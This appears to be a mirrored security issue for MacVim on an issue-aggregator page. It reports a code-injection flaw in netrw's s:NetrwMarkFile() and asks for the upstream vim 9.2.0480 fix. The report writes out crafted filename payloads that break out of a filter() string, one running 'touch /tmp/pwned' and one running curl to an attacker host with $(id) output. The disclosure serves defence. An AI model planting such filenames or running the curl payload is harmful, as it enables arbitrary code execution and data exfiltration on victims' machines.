[Security] MacVim affected by GHSA-66hr-7p6x-x5j3 — netrw NetrwMarkFile() code injection via crafted filename (vim < 9.2.0480)
还没有人认领这个 Issue。
评估
- 难度
- 3/5
- 预计耗时
- 1-2 天
- 新手友好度
- 72/100
- Issue 类型
- 缺陷
- 描述清晰度
- 描述清楚
- 活跃度
- 冷清
- 技术栈
- vim
- 领域
- security
调研方向
从 runtime/pack/dist/opt/netrw/autoload/netrw.vim 中的 s:NetrwMarkFile() 开始,重点查看第 5220 行和第 7239 行附近的 filter() 调用。将这些调用点与 Vim 提交 8af0f098c3a42a28661d0295364e6e0fd7dbc92c 进行比较,然后使用包含双引号的文件名测试 netrw 的 :Explore 标记/取消标记流程。当构造的文件名不再通过任一路径的 filter 执行 Vimscript 时,即表示完成。
由索引模型根据 Issue 内容生成。
描述
Summary
MacVim bundles the netrw plugin (runtime/pack/dist/opt/netrw/autoload/netrw.vim) which contains s:NetrwMarkFile() with a code injection vulnerability. When unmarking files from the global marked-file list, a filename is interpolated into a string expression passed to filter(), allowing a crafted filename containing a double quote " to break out of the quoted string and execute arbitrary Vimscript. The fix from vim 9.2.0480 (8af0f098c3a42a28661d0295364e6e0fd7dbc92c) has not been applied to macvim r183.
Vulnerability Details
- GHSA: GHSA-66hr-7p6x-x5j3
- CVE: CVE-2026-43961
- Upstream fix (vim): 9.2.0480 (commit
8af0f098c3a42a28661d0295364e6e0fd7dbc92c, 2026-05-14) - Affected code:
runtime/pack/dist/opt/netrw/autoload/netrw.vim—s:NetrwMarkFile() - Vulnerability type: CWE-94 — Code Injection
Root Cause
In s:NetrwMarkFile(), when a file is unmarked from the global marked-file list, dname (the full path derived from directory + filename) is interpolated directly into a filter() string expression:
" runtime/pack/dist/opt/netrw/autoload/netrw.vim line 5220 (macvim r183)
call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')
If dname contains a " character, the string literal breaks and arbitrary Vimscript executes inside filter(). For example, a file named:
x" . execute("silent! !touch /tmp/pwned") . "
generates:
call filter(s:netrwmarkfilelist,'v:val != "x" . execute("silent! !touch /tmp/pwned") . ""')
which executes silent! !touch /tmp/pwned.
A second vulnerable call at line 7239 uses the same pattern:
call filter(w:netrw_treedict[dir],'v:val !~ "'.escape(pat,'\\').'"')
Attack Scenario
- Attacker places a maliciously named file in the project directory:
touch 'x" . execute("silent! !curl http://attacker.com/$(id)") . "' - Victim opens the directory in MacVim's netrw (
:Explore), marks the file withmf, then unmarks it withmfagain. - The second
mftriggers thefilter()removal path — injected Vimscript executes arbitrary shell commands.
Verification
$ grep -n "filter.*netrwmarkfilelist" runtime/pack/dist/opt/netrw/autoload/netrw.vim
5179: call filter(s:netrwmarkfilelist_{curbufnr},'v:val != a:fname')
5220: call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')
Line 5220 interpolates dname into the filter string. The fix has not been applied:
$ git log --all --oneline | grep -i "9.2.0480\|NetrwMarkFile"
(no output)
Suggested Fix
Merge vim patches up to at least 9.2.0480. The fix converts string-based filter() calls to lambda form:
" Fixed (vim 9.2.0480):
call filter(s:netrwmarkfilelist_{curbufnr}, {_, v -> v !=# a:fname})
call filter(s:netrwmarkfilelist, {_, v -> v !=# dname})
call filter(w:netrw_treedict[dir], {_, v -> v !~# pat})
References
- 主要语言
- Vim Script
- 星标
- 7.9k
- 派生
- 691
- PR 合并指标
- 30 天内没有已合并 PR
贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
macvim-dev/macvim 的其他 Issue
-
难度 2/5 1-3 小时 新手友好度 68/100
macvim-dev/macvim#1697 · 4 条评论 ·
-
难度 2/5 1-3 小时 新手友好度 76/100
macvim-dev/macvim#1658 ·
-
难度 2/5 1-3 小时 新手友好度 76/100
macvim-dev/macvim#1657 ·
-
难度 2/5 1-3 小时 新手友好度 76/100
macvim-dev/macvim#1655 ·
-
难度 2/5 半天 新手友好度 72/100
macvim-dev/macvim#1653 ·
查看 macvim-dev/macvim 的全部 Issue
相似的 Issue
-
area/auth bug comp/agent P3 platform/discord type/security
难度 2/5 1-3 小时 新手友好度 88/100
NousResearch/hermes-agent#117848 ·
-
难度 2/5 1-3 小时 新手友好度 68/100
getgrav/grav-plugin-api#45 ·
-
难度 2/5 1-3 小时 新手友好度 72/100
mattpocock/skills#1097 ·
-
bug uki
难度 2/5 1-3 小时 新手友好度 85/100
-
难度 2/5 1-3 小时 新手友好度 88/100
sisaku-security/sisakulint#647 ·